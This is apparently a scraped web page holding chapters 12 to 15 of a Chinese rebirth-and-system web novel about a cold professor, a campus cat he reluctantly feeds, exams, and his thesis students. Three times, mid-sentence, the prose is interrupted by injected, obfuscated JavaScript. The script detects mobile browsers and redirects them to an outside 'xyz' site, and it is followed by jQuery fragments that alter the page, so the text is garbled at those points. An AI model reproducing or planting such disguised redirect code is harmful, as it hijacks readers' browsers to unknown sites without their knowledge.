“你想要养一只猫吗?形象可以按照你的喜好定制,而且我可是不吃不喝不掉毛还不拉屎的哦!” 言语间,好像它已经能买得起实体形象。 这就是系统的所有小心机。 贺明隽被逗得轻笑一下。 真的很轻,只是唇角有了点弧度,睫毛微颤。 而楼下举着相机的白梦绮下意识就按下了快门…… 12. 重生文(12) 白梦绮对上镜头中贺明隽扫过来的眼神,尴尬得只想把脑袋埋进旁边的灌木丛。 她真不是故意偷拍的! 她只是拿相机随便拍拍周围的景色,当镜头转到那个方向时,她看光影和氛围感都不错,就手比脑子快…… “对不起,我立马删除。” 白梦绮声音不大地喊了一声,又鞠了一躬,飞速逃离现场,扭头拐到灌木后边。 贺明隽面无表情地收回视线。 白梦绮拐弯撞见梁双双,后者问她:“怎么了?我哥现在有这么可怕吗?” 白梦绮答:“主要是尴尬。” 她之前比较轴,不撞南墙不回头,现在知道回头了再看南墙就难免有点心情复杂。 要不是为了课外学分,她肯定不会来的。 梁双双一手搭上白梦绮的肩膀,脑袋凑过去看相机,有点遗憾地问:“这张还怪好看的,真删啊?” “嗯。”白梦绮没有犹豫。 除了上次讲座算是工作,其余的贺教授的照片等,她都没再保留。 之前她还下不定决心,想着毕竟是一段经历,万一以后自己后悔呢? 但上学期离校时见贺老师的态度,她就将那些照片、画像全部彻底删除了。 还是别留着占内存了吧。 其实比起人物,白梦绮本来就更喜欢拍自然风景和猫猫狗狗。 各个群里的猫片有不少都是出自她的手。 梁双双又悄声问:“真放下了?” 白梦绮一脸正经地握拳道:“我现在最爱的就是学习!” 她抿了下唇,又说:“看到这些小朋友条件艰苦还这么上进,我就觉得自己更应该珍惜好不容易考入青财大的机会。” 梁双双“啧啧”两声:“我觉得我哥也太狗了,他让我来这里做志愿,就是想用这种方式教育我!之前还阴阳怪气……” 其实,贺明隽还真没有这种想法,最初他只是找个合理的借口不回家而已。 等他们离开学校、开车到县城的酒店,已经是晚上八点。 相关费用都是贺明隽出的。 除了梁双双觉得理所当然,还想多骗点零花钱之外,另两人都打算AA的。 贺明隽也没说客套话,生硬又不容拒绝地说:“不必。” 他还不至于和学生计较这一点。 贺明隽又等她们逛了一上午之后,把她们送到车站,让她们到达后给他打电话。 梁双双好奇地问他:“哥你中秋还不回家啊?” 贺明隽没说自己的情况,只道:“你姑姑姑父出去旅游了。” 明明是他不想去,才给老两口安排了旅程。 现在他这么一说,就好像是贺家父母出去玩了,他回家还是留校都没什么差别,所以才不回的。 梁双双有点同情地摇摇头,也没再多问。 之后,贺明隽独自开车返校。 他并不知道,梁双双和白梦绮在回家的高铁上关于这次活动修了图、编辑文案发了朋友圈。 白梦绮为了避嫌,没提贺明隽,只说通过一次活动认识了一位直系学姐。 而梁双双就“猖狂”得多,嘚瑟她哥给她当司机,还赚到了假期去玩的零花钱。 * 正和朋友一起在马场玩的顾辞,看着那两条相邻的朋友圈,不禁皱了眉——他之前找借口加了白梦绮最好的闺蜜梁双双。 这就是白梦绮说的急着回家看母亲? 他记着上次借了她的饭卡,想随便送点红提、月饼当谢礼——这只是一个见面的借口,她说没时间,结果就有空去陪表面衣冠楚楚的什么教授去外地? 甚至还在外面住夜…… 只带女生出去,这能是什么正经老师?也就那个笨蛋一点戒心都没有,甚至还没眼光地追求过这种人。 顾辞咬着后槽牙,噼里啪啦打了一串字。 “怎么,在和你那个小女友聊天啊?” 顾辞被忽然凑过来的好友一吓,手一抖把没打完的三行字发了出去。 他连忙点了删除,想了想,又点了个赞。 等白梦绮看到他的赞,就应该来向他解释。 高铁上,白梦绮和梁双双一人戴着一个蓝牙耳机,一起看剧,手上还拿着手机不时地刷着。 顾辞的点赞淹没在六十多个赞之中,白梦绮根本没有注意到。 不提之后顾辞又怎样对白梦绮拐着弯试探、暗示,反正他是对贺明隽这个隐藏情敌更加戒备。 贺明隽是完全不想走剧情的,可“男主”好像不那么想。 * 贺明隽往返用了不到一天的时间,其中的晚上两小时和一个上午,他还看了些期刊。 现在返校后,他的作息和日常安排自然也回来了。 就是,他顺路去给白团子倒猫粮的时候,白团子好像有点小情绪。 白团子没有第一时间过来吃猫粮,也没有往他脚边凑,只远远地“喵”了一声,像是在控诉。 贺明隽不理解白团子的委屈,他昨天离开前给白团子多倒了点猫粮,应该不至于饿到它。 贺明隽把饭盆往白团子那边推了点,然后转身走了。 他走了几步回头一看,白团子没有吃猫粮,而是不近不远地跟在他身后。 贺明隽无法和小猫沟通,更不会采取暴力手段把白团子赶走,也就只能这么让它跟着了。 反正食堂白团子又进不去。 贺明隽一走进食堂,保洁大姐就和他打招呼:“贺老师回来了。” 因为他每天吃饭时间很固定,连周末节假日都在学校吃,长相气质又出众,食堂的工作人员大都认识他。 贺明隽看过去,颔首,微抿唇,扯出一个礼貌的微笑,“嗯”了一声。 保洁大姐又说:“昨天晚饭和今儿中午你来吃饭那个点,你那只白猫还到门口来等你呢。哎——它又来了!” 白团子可能知道就算自己进去也会被赶出来,就很体面地在食堂门口停住,三步两步跳上花坛。 它先是看了贺明隽一眼,就低头梳理起自己前爪上的毛。 有进出的人和它打招呼,它都没有理会。 白团子:它可不是朝三暮四、没有猫德的猫! 而且它志向远大——死缠烂打、装模作样三两天,吃喝不愁一辈子。 贺明隽买的猫粮冻干已经把白团子的口味养叼了,别人喂的东西,它完全看不上。 等贺明隽从食堂出来,白团子又跟上他,甚至随着他进了教学楼。 他把白团子丢出去,白团子却学会了用爪子挠玻璃门。 贺明隽揉揉额角。 保安都被惊动了,过来对他说:“反正现在是放假,要是它不乱跑的话,可以带进去的。” 就算是平时,也有校园流浪猫、流浪狗去教室和图书馆呆着,尤其是夏天和冬天的时候。 现在大家都认定白团子是他的猫了,贺明隽懒得解释,也不能不管,只好带着白团子上楼。 爬到三楼的时候,白团子已经快累瘫了。 贺明隽不想抱白团子,觉得它身上不干净、还掉毛。 刚好有来主楼自习的学生在楼道里吃外卖,贺明隽就借了外卖包装袋,把白团子提上。 回到办公室,贺明隽重新找了容器,给白团子倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239184|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点猫粮,就自己去吃晚饭。 白团子没有去吃猫粮,而是像王一样巡视着自己的新领地。 在约二十平的办公室慢慢溜达了两圈,白团子这里嗅嗅、那里闻闻,最后走到贺明隽脚边,想往他怀里跳,看他在吃什么。 贺明隽伸出左胳膊把白团子挡下去。 “不要得寸进尺。” 小猫咪怎么可能看人脸色、听得懂人话? 白团子很夹地喵了两声,继续跳。 又被贺明隽拦住、丢下去两次,白团子短促地喵一声,看起来像是生气了。它又换了策略,干脆跳上了茶几。 贺明隽完全没办法专心看财经新闻,只能注意着白团子别弄脏他的饭。 好不容易吃完了饭,贺明隽看看自己棉质的灰蓝色衬衫袖子上的白色猫毛和灰尘,又看看在沙发上磨爪子的猫,心里略烦。 不把白团子赶走,他不仅没办法工作,可能还要清理猫毛、换沙发…… 在贺明隽想再次把白团子塞进外卖袋子里、提下去的时候,白团子声音凄厉得像是待宰的猪的,还到处跑,甚至碰倒了他的杯子。 “嘭!” 瓷杯落地,碎片四散。 白团子可能知道自己做错了事,看向贺明隽的眼神小心翼翼的,声音又夹了起来,又娇又媚的,简直能把人融化。 可谁让它面对的是心如铁石的贺明隽呢? 贺明隽是真的没打算养它。 要他顺路去倒点猫粮可以,但真让他养猫,对一个小生命负责,他不愿意。 太麻烦了。 站在白团子的角度,贺明隽就是个彻彻底底的渣男。 喂它那么贵的猫粮,害它产生奢望,可现在它主动求包-养了,他却冷心拒绝。 不养何撩? 而贺明隽就觉得白团子有点得寸进尺了,他甚至有点后悔。 早知道会被赖上,他之前把办公室的猫粮喂完之后,就不应该继续再喂猫。 不过现在意识到也不晚。 等他把白团子赶出去,就把猫粮送人,再也不去喂了。 把白团子装进包里后,贺明隽没有把它放到楼下,而是带着它导航去了附近的宠物店。 宠物店是晚上八点才下班,还足够给白团子洗个澡。 一路上白团子都乖乖呆在包里,小声喵喵叫着,看起来很楚楚可怜。 到了店里,被工作人员带走的时候,一向在校园里嚣张惯了的白团子尾巴都加紧了、还被吓出了飞机耳。 对白团子来说,洗澡是很久远以前的事了。 贺明隽在外面等着的时候,还预约了一个宠物医院的体检。 剧情里提到初冬的时候白团子会生病。 他做到这一步已经算仁至义尽了。 店员对白团子和贺明隽一通夸奖之后,就开始推销产品。 贺明隽:“它是一只校园流浪猫,不是我养的。” 不管店员信不信,反正没再打扰他了。 在等待的时候,贺明隽打开平板开始工作。 半个多小时后,被洗得干干净净的白团子走了出来。 也不知道是白团子发现自己并非被丢弃而放下心不再害怕,还是身上轻快了,亦或是像人类一样洗完澡觉得自己颜值上升了,它尾巴翘得更高了,透出一股“自信放光芒”的气质。 它的毛也确实白得发亮,还散发着淡淡的香味。 走到贺明隽身边时,白团子又变成了那只小舔猫。 看在它刚洗完澡的份上,贺明隽难得没有拒绝,任由白团子爬到他腿上,还伸手摸了下。 别说,手感还不错…… 13. 重生文(13) 就像人洗完澡不能再穿脏衣服一样,看见焕然一新的白团子,贺明隽就觉得,似乎没有办法把它装进之前的那个包里再带回去。 于是他买了一个新的猫包。 刚才给白团子洗澡的工作人员夸白团子洗澡时很乖,又问:“它的爪子是没有修剪过吧?您看您还需不需要……” 贺明隽打断道:“不需要,谢谢。” 就算白团子生活在校园,也依旧不能掩盖它依旧是一只流浪猫的事实。 没了爪子,白团子以后还怎么称霸校园? 贺明隽带着白团子回去。 白团子看到熟悉的环境,就更加安心了,它也能感受到自己的待遇有所提升,整只猫的状态都不一样了。 它的叫声愉悦得意,翘着的尾巴轻轻摇晃。 然而,贺明隽只是把它放在长椅上,有点严肃地说:“好了,你要当一只自由的小猫” “今天已经为你浪费不少时间……”他声音很轻地说一句,更像是在自言自语。 他要晚睡半个小时,才能补上本应完成的工作。 去了宠物店一趟,贺明隽更加坚定了不养猫的那颗心。 太费时间了。 贺明隽起身,离开的脚步比平时都快了几分。 白团子从猫包里跳出来,生无可恋地“喵”了一声。 贺明隽这次回办公室甚至都没慢悠悠地走楼梯,而是乘了电梯。 系统故意唉声叹气:“哎呀,普通小猫就是麻烦,你那么喜欢,却不能养。” 贺明隽:“我不喜欢。” 他的声音平静,既没有掩饰什么似的故意强调,也没有焦急地否认。 就像,他只是陈述了一个无关紧要的事实。 系统被迷惑了,它觉得人类的感情真是奇怪难以捉摸。 那它以后要选个什么形象? 贺明隽坐在办公桌前时,就把白团子抛在脑后了。 第二天,他带白团子去医院做检查。 之后,白团子别说没再态度谄媚地求抱抱、声音很夹地喵喵叫,它甚至冲着贺明隽哈气,还亮起了爪子,仿佛遭受了背叛。 不过,贺明隽倒的猫粮它还是吃的。 因为假期一时找不到合适的人帮忙喂猫,再看白团子又恢复了正常的社交距离,贺明隽就继续喂下去了。 那天白团子的热情大概是怕他这张饭票跑了。 贺明隽并没有在意,他本来就没打算让白团子回报什么。 他每天去喂猫,更多是一种习惯吧。 在假期余额只剩两天的时候,贺家父母从外地旅游回来,拐到学校来看贺明隽。 除了给他带点特产之外,更主要的目的是来看看他是真的有工作还是别的什么。 贺父贺母去他办公室歇了一会儿,又去他住处吃了顿午饭,离开时,他们十分失望。 “还以为你假期是要陪对象,怕我觉得你娶了媳妇忘了娘,找了个借口,结果……唉!”贺母叹气。 “我二十岁就把你妈给拿下了,你都三十了,连个女朋友都没有……”贺父唉声。 贺明隽皱眉,贺教授还差半个月才满二十九岁,怎么就三十了? 好在贺父贺母旅游累了,还要回去给别的亲戚送礼,没有唠叨贺明隽太久。 贺明隽把他们送上高铁,这大半天又过去了。 他心里略微有点烦,不是因为贺父贺母,只是觉得计划被打乱、浪费了时间。 收假后,贺明隽按照承诺,找相关负责老师给梁双双和白梦绮登记了课外学分。 那老师看她们两个的课外学分没有挣够,还问贺明隽要不要直接给她们加满。 贺明隽拒绝了。 只给她们算这一次活动的学分,贺明隽是问心无愧的。 像公益活动、体育赛事、讲座等,都是课外学分的加分项。 她们两个是真的参加了活动,也有照片、支教学校的盖章证明。 而且杨淑云读研后时间没那么空余、能发动捐赠的同学也少了,就把这项活动传给了两个直系学妹。 * 第六周,贺明隽开始出大二学生的期中考试卷,确认时间,申请考场等。 他在第一节课时就说过,他的课没有平时分和考勤分,期中和期末的试卷成绩分别占30%和70%,加权后就是本科目的最终成绩。 他考前不划重点。 也没有学生提出让他划重点。 临近考试,学生中弥漫着一种焦灼的气氛,因为贺明隽这周教的内容不在期中考试范围内,不少人都无心听课,开始偷偷自己复习备考。 看到这样的场景,贺明隽没有批评临阵磨枪的学生,也没有叫他们起来回答问题,而是难得大发善心地安慰一句:“期中考试不难。” “真的假的?”很多人觉得惊喜又难以置信,毕竟贺老师平时布置的作业都蛮有深度的。 贺明隽:“嗯,期末考试会比期中稍微难一点。” 下面一阵哀嚎。 贺明隽是真觉得他已经很降低难度了,毕竟现在学生都太脆弱,动不动就天台见。 而且如果题目设置太难,不符合学校发的《考试命题和试卷管理》等相关规范,教务处和负责审核的老师都不会批。 被贺明隽这一安慰,学生们都更慌了,各班都派出班长或学委去探个底。 下课铃响后,贺明隽还没走下讲台,就被第一排冲出的一群人围住了。 贺明隽皱了下眉。 课后找他问问题的人不多,因为他设了固定的答疑时间,而且留了各班学习委员的邮箱,让学生若不想找他当面请教,就将疑难问题由学委整理后发给他。 只有那种就轻易解释清楚或只需要指点三两句的问题,才有学生趁着他走出教室这段距离边走边沟通。 贺明隽认出面前这些学生有不少是学委,再一看阶级教室里大多学生都没离开,就猜到他们要问什么。 面前这几个学生,甲对乙扬扬下巴,乙再用胳膊肘怼怼丙,就是没人当出头鸟。 贺明隽只好主动开口:“想问考试相关的事情?” “嗯嗯嗯。”一排小鸡啄米。 贺明隽干脆又走回讲桌前,打开话筒。 “只要你们基础知识掌握得扎实、重点概念能记住,就可以考到六十分以上。如果平时的课后作业都做出来并理解,考八十分以上是没问题的。” “一次期中考试而已,不必这么紧张。” 有一个班长举手,弱弱地问道:“老师,那往年的考试题有参考价值吗?” 贺明隽:“没有。” 他又不是原来的贺教授了。 而且他不喜欢把往年的考题重新排列组合。 可能因为是下课,同学们的哀嚎更没有顾忌,宛如已经被宣判了死刑。 贺明隽看了一眼手表,又说:“不过知识都是那些,万变不离其宗。” 同学们:就是因为他们没有掌握“宗”,才怕“变”啊! 贺明隽离开教室前,又丢下一句:“放松心态,反正还有期末考试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239185|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要期末能考到九十分,就算期中考试不参加,也不会挂科。” 同学们:“……” 安慰得很好,但下次别安慰了。 不然,他们现在就想上天台吹吹风。 或许是知道求贺明隽没用,这些学生就换了个祈祷对象。 他们给白团子上供各种零食,把课本怼到白团子面前。 “学长,你和贺老师关系好,应该看过试卷了吧?这个重点考不考?考的话你就喵一声……” 这样的场景估计等期末考试时还要再次上演。 白团子:冷漠且无语.jpg 当然,很多学生只是考前搞点行为艺术放松一下,还是会好好复习的。 * 贺明隽做事效率一向很高,期中考试结束后很快就把卷子改完并把分数录入系统。 其实,整体成绩还可以。 大学生都是知道取舍的,金融系的学生就更会分析利弊。 对他们来说,《金融学》这一科本就是重要的科目,而贺明隽看起来又是不会放水的,他们就会更用心,把十二分的精力都放在准备金融学的考试上。 只能说,压力就是动力。 期中考试结束,贺明隽后半学期的工作也接踵而至:大四分导师,研究生毕业论文该开题了,接着就是本科和研究生的期末考试…… 各年级的学生也有相应的事情要忙,期中有一项是在校学生都要做的:去教务系统对本学期任课老师做出评价。 这算是老师的期末考试。 有些过于严厉认真的老师,评分可能还没有平时随便念念PPT、考前划重点的老师高。 贺明隽不在意别人的评价,更不会为了学生的评分而妥协。 期末考试前他依旧没划重点,甚至连大致范围都没有圈。 但只要平时认真听课的学生都会知道哪些是重点。 除了教学评价,学生们也要开始选课了。 学生在这学期结束前选完课,教务处好排下学期的课表,甚至有些课如果选的人数不足,就不开了。 各年级群、班群里,除了吐槽选课系统又崩了之外,就是在讨论哪门课容易过、能拿高分。 令人意外的是,贺明隽的课人数竟然满了。 “不是,兄弟姐妹们,你们没听大二的学弟学妹们说吗?贺明隽老师他可是考前不划重点的啊!” “可大四的学长说,贺老师讲得好,考前圈重点,而且考试内容有三成都是平时的作业稍微换个形式吗?” “是不是他只有必修课不划重点?这种限制性选修课没那么严吧?” “我们大二的时候,他教金融学也没这么严啊!” “现在的贺老师已经变了,反正劝你们慎重,现在修改还来得及。” “不要被美色所惑啊,到时候你们要是挂科了就悔之晚矣。” …… “可是,圈圈,你不是说自己要选贺老师的课吗?” “圈圈”就是那个到处宣传贺明隽考前不划重点、试图劝退别的同学的人。 “该不会是你没选上吧?” “该不会你电脑正打开的就是选课界面,正盯着,等有名额就抢吧?” …… “好家伙,选个课而已,你搁这儿玩博弈呢?!” “哎呀,不就是没选上吗?想开点,不要被美色所惑,放下吧。” 那位被叫“圈圈”的同学反驳:“谁说我是冲着贺老师的脸去的,我纯粹就是爱学习、有追求不行吗?” 14. 重生文(14) 大多学生选贺明隽的课,确实是冲着学知识去的。 不管到时候他们上课时能不能认真听讲,至少在一开始,他们有一颗向学的心、想选个好老师教的课。 如果这个老师长得赏心悦目、声音动听,那就更好了。 还有些学生比较深谋远虑,已经在为本科发论文或是毕业的指导老师做准备了。 大三的学生没有接触过现在的贺明隽,当然,他们也不知道现在的贺明隽已经不是以前的贺教授。 但不管是哪一个,他们都被贺老师的学识、教学能力和态度以及学术水平折服。 而且,还有人的好友列表里有已经在读研的学长学姐,他们了解到,贺明隽就是那种学业上不当甩手掌柜、私下不拿学生当奴隶的梦中情导。 他们还不知道以后会怎样,但现在先和贺老师混个脸熟总不是什么坏事。 在宿舍中复习的梁双双放下书,拍拍宛如一团浆糊的脑袋,爬上床,去拿手机。 她看到群里的消息,除了那么一点与有荣焉,但更多的是无语。 她哥开的又不是什么容易过的水课,竟然还有人抢? 反正她是第一时间就排除这门课,她才不想上课偶尔看一眼手机都战战兢兢。 梁双双看看信息,再刷刷朋友圈、看会儿视频和八卦…… 正对着手机咧嘴傻笑呢,梁双双就听到宿舍门开的声音。 是白梦绮和另一个室友从图书馆回来了。 “我的天,这可就十点半了?!”梁双双带着哭腔哀嚎一声。 她也没玩多久啊! “你复习了多少?怎么躺床上去了?”白梦绮说着,把一小沓A4纸放在梁双双的桌子上。 “给你也打印了一份计量的往年考试题。” “爱你!” 梁双双从床上爬下来,丧气地说:“我就想歇几分钟,没想到大半个小时唰的一下就过去了。” 他们交流了一下复习进度,押一下明天考试科目的题,再闲聊几句。 梁双双和白梦绮一起去水房接热水时,压低声音,故意神神秘秘地问:“哎,你课都选了啥?肯定没选我哥的课吧。” 白梦绮无语:“都要考试了,你就不能多把心思放在学习上。” 梁双双:“八卦一下,放松放松脑子,等会看起书来才能事半功倍” 白梦绮摇摇头,既是觉得无奈,也是表示自己没选那节课。 “哦——”梁双双拉长声音,笑容里满是揶揄,“懂了,要避嫌嘛!不然某人就要吃醋了。” “去你的!”白梦绮笑骂。 梁双双说的“某人”是顾辞。 前不久圣诞节的时候,白梦绮收到一束玫瑰,九十九朵,是真的带刺的玫瑰,而不是大多花店挂了玫瑰名字的月季。 那天白梦绮抱了那么大一束玫瑰回来,整个宿舍都惊呆了,问她是不是男朋友送的。 但白梦绮否认了,只说是帮了别人一个忙,那人随便送的,她觉得把花丢了也浪费,就拿回来了。 后来,那束花她们宿舍的四个人每天揪几朵泡脚了。 梁双双作为闺蜜,对于白梦绮的感情状况知道的稍微多点。 现在白梦绮和顾辞还没有正式在一起,但也就差戳破那一层窗户纸。 “果然走出一段感情最好的办法就是开启一段新的。” 梁双双继续八卦:“那么多年的喜欢,你真的放下啦?” “嗯。”白梦绮坚定地点头。 其实也不全是认识顾辞的缘故,她本来就打算放弃了。 而且之前她加了杨淑云学姐的好友,从学姐的朋友圈里,她看到了贺教授的另一面。 或者说,她借助别人的眼睛对贺教授有了更清晰、理智的认知。 他们学的第一个经济学假设,就是理性人假设——用自己最小的经济代价去获得最大的经济利益。 既然是假设,就说明实际上不存在这样的人。 白梦绮觉得,如果要她在现实中找一个接近“理性人”的人,她最先想到的就是贺教授。 不止在从事经济活动中,就连平时,贺教授都十分理智,做事只讲效率、实用,似乎完全没有个人的欲-望。 高岭之花固然容易让人生出攀折的念头。 但如果是一朵精致的、任你再浇灌也不会为你盛开的假花呢? 白梦绮本来就已经按捺住的那颗心渐渐冷了下来。 为了避免尴尬和麻烦,也不想选一门比较难考的课拉低学分,白梦绮就没有选贺明隽的课。 梁双双看到白梦绮的态度,就暗下决定以后不再提这些了。 两个当事人,一个本就无动于衷还有点反感,另一个也有了新欢放下过去。 她一个单身狗还是别瞎操心了。 梁双双又问:“那考完试你回去吗?还是寒假还要去实习啊?” 白梦绮:“先不回去了。” 白梦绮没有细说,其实她不是去实习,应该说去兼职。 她母亲身体不好,这一世可能是蝴蝶效应,她母亲的高血压发病更早了一点,她要多挣点钱。 白梦绮的兼职就是给顾辞当助理。 在贺明隽认真当他的教授的时候,白梦绮和顾辞在兢兢业业走剧情。 没有贺教授的纠缠不清,顾辞少了些在白梦绮面前表现的机会,他们两人的情路也少了坎坷。 至于感情的深度比起剧情中有没有变淡,那就不得而知了。 * 贺明隽忙完期末考试的事,和研究生开了一次组会,指导了毕业生的论文选题,就和那四个分给他带本科毕设的学生沟通,打算找时间面谈一次。 本科生分配毕设导师,既要参考学生之前统计过的个人毕设想选的研究方向,也会考虑学生平时的考试成绩。 像是有些平时低分飘过、甚至还要补考重修,现在只想顺利毕业混个证的学生,就不适合让贺明隽这样的教授带。 那对于双方都是折磨。 当然,凭贺明隽的资历,除非学生有意愿,或老师之前有过指导,那些名列前茅的学生也分不到他手里。 贺明隽也不太在意那一个“本科生优秀毕业论文的指导老师”的称呼。 再说,平时成绩算不上顶尖,就未必拿不了优秀毕设。 到了约定的时间,贺明隽的办公室只来了三个学生,其中一人说有事需要请假。 贺明隽连原因都没有追问,更没有劝对方重新协调时间,放弃其他事来参加。 分给他的毕业生是两个男生、两个女生。 这是原来贺教授正式教的第一届学生,贺明隽并没有接触过。 他将名字和人一一对应: 两个女生是秦昭,林颖聪,到场的男生是赵旭新,另一个是匡杰。 赵旭新解释:“老师,匡杰他今天没来是因为……” 贺明隽轻抬手止道:“不用解释。” 他不关心原因。 实际上,匡杰只是根据从学长们那里听说毕设主要还是靠自力更生,就对现在开会有点不放在心上。 现在他自己还没准备开始呢,老师能指点什么? 所以他干脆提前买票回家了。 见贺明隽是这样的态度,赵旭新一愣,有点局促,怀疑他是不是生气了。 赵旭新犹豫了一下,还是继续说:“匡杰他想视频连线可以吗?” 贺明隽点头。 简单沟通之后,贺明隽没有寒暄,直接切入正题。 先大致了解每个人的情况,再逐个沟通。 视频那头的匡杰一开始还不在意,一边听着,一边用手机打游戏,可后来他就慌了,开始疯狂查资料。 然而现在他在高铁上,信号都断断续续的,又没连校园网的话,很多文献下载不了。 好在他是最后一个讲述的,可以借舍友的先熟悉一下,应付过去。 办公室里,贺明隽正在和第一位幸运儿沟通。 秦昭听着贺老师问出一个个问题,越回答越结巴,然后一个没忍住,眼角红了,她放下没写几个字的笔,抬手去擦,结果眼泪越流越多。 “对,对不起。” 贺老师真的太可怕了! 她什么也不会…… 贺明隽则是觉得莫名其妙,他并没有说什么批评的话。 他本来就不会安慰人,又不知道这位同学为什么哭,更无从安慰起。 他看了一眼另外两位同学,见他们就坐在那里,神色有点不自然。 林颖聪、赵旭新:如坐针毡、如芒在背…… 贺明隽只好自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239186|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:“怎么了?” “没……嗝,没事。”秦昭觉得很丢脸,但她刚才就是控制不住。 听学姐说,答辩时面对一排导师才紧张。谁能想到,她还没开题,只面对自己的毕设导师就开始害怕、慌张了。 贺明隽按了下太阳穴,唇角抿直,而后轻叹一声,才说:“现在才开始……你要不要先调整一下情绪?” 他拿出手机,发了个短信。 秦昭立马站起身,说声抱歉,几乎是小跑着出了办公室。 而林聪颖紧跟着起身,说:“老师,我去安慰一下她。” 赵旭新:!!! 不要留下他一个人独自承受这些啊! “老师,我可能准备得不太充分,因为最近比较忙……” 贺明隽:“只是简单沟通一下情况,不必紧张。” 他又没有要他们交出什么成果,至于这么心虚吗? 赵旭新脸皮厚点,就算他心里没底,也不至于哭出来,就如实交代,显得有点死猪不怕开水烫。 贺明隽根本没有批评他,只是给出点建议,解答了几个问题。 下一个就轮到视频那头的匡杰了。 他刚说了自己的选题。 贺明隽就问:“你之前就是这个选题吗?” 借了舍友的选题、大纲的匡杰:“……” 救命!他现在是该老实交代,还是应该硬着头皮撑下去? 贺明隽等了几秒,不见人回答,就继续道:“如果你是这个选题,不应该分给我指导。” 匡杰像是被点醒了,连忙找补:“老师,我是才换的题目,这两天一直都在准备这个题目。” 似乎是怕贺明隽继续围绕着这个题目问下去,匡杰又赶紧说:“我可以改题的!就是我现在没有想法,老师您能不能给点建议?或者等我下去再拜读点您的论文,了解一下您的研究方向……” 贺明隽直接忽视了后面的话,说了几个适合本科生的选题。 赵旭新和匡杰就觉得贺老师好像没有那么可怕。 他们就问:“老师,你能不能给我们讲讲写论文要注意的事项之类的?” 贺明隽低头看了眼左腕上的手表,说:“等他们回来吧。” 不然他还要再重复一遍。 贺明隽话音刚落不久,敲门声响起。 “进。” 进来的不是秦昭和林颖聪,而是贺明隽带的两个研究生,一个是上次一起去做志愿活动的杨淑云,另一个是临毕业的于超。 刚才贺明隽就是在研究生群里发消息,问现在谁有空。 他只是想找人抽空在线上指点一下这几个大四的学弟学妹。 或许他们年纪相仿,比较好沟通。 贺明隽问:“你们现在不忙吗?” 杨淑云:“一两个小时还是有的,我和师兄刚好在三楼自习,就上来看看。” 于超:“老师,是你说得太高深了,需要我们来当翻译吗?” 他们作为研究生,与贺明隽相处更多,知道他只是人看着有点冷,其实脾气还挺好的。 见学长和学姐态度轻松自然,赵旭新也有点被感染,更加放松下来,他小声说:“是有个学妹被老师吓哭了。” 可办公室就这么大点地方,又很安静,他就算声音不大,这句话也传入所有人的耳中。 贺明隽眉梢微扬,他有些不明白自己有什么可怕的。 他现在顶着的可是贺教授的脸。 杨淑云笑了一下,又捂住嘴清咳一声,问:“学妹人呢?” 得知她们出去平复情绪了,杨淑云又问了她们的名字,就去找两个学妹了。 于超来找贺明隽,是有论文上的问题要请教。 赵旭新十分惊讶:“学长,你的论文这个时候就搞完了?” 于超笑笑,说:“不是毕设,是投期刊的论文。” 赵旭新:“……” 贺明隽确认赵旭新没有其他事要办,就给他往年优秀毕设的册子,免得干坐着浪费时间。 然而,赵旭新只是拿着册子,却没看进去。 他竖着耳朵听贺明隽和于超的对话。 虽然他的思维跟不上,但他就是觉得自己不配坐着听。 要不是怕被当成神经病,他真想当场表演一个五体投地。 15. 重生文(15) 杨淑云出了办公室,就看到走廊尽头的窗边站着两个女生,她走过去一确认,正是秦昭和林颖聪。 她一看两人的神色,就能猜出被吓哭的是哪一个。 走近后,她主动打招呼:“我叫杨淑云,是贺老师的学生,在读研一,也算是你们的直系学姐。” 林颖聪就问:“是贺老师觉得我们朽木不可雕,让学姐你指导我们的毕设吗?” 若是那样的话,就太好了! “当然……”杨淑云故意一顿,“不是啦。” “别的学生都是吐槽导师什么都不管,你们怎么还巴不得老师但甩手掌柜呢。” 秦昭:“贺老师看起来太严厉了,他问的好多问题我都不知道该怎么答,他眉头一皱,我就觉得自己在他眼里是不是就像个小垃圾……” 杨淑云安慰道:“不会的,贺老师就是不太爱笑,说话也比较直接。其实你不管情况怎么样,如实说就好。” “我这么跟你说吧,贺老师的高度在这儿。” 杨淑云把手举过头顶。 然后她又把手在腰上下的位置比了下。 “而我们呢,在这儿,还是在这儿,在贺老师的眼里,区别不大。” “你们可能才和贺老师近距离接触,对他不了解,其实他对学生认真又宽容,一点儿都不严厉。” “如果你们只是想混个毕业证和学位证,不想要他指导,可以直接和他说,他就肯定不会严格要求你们。” 秦昭有点不敢相信:“真的假的?要是贺老师是那种人的话,直接就把我们推给学姐不就好了。” 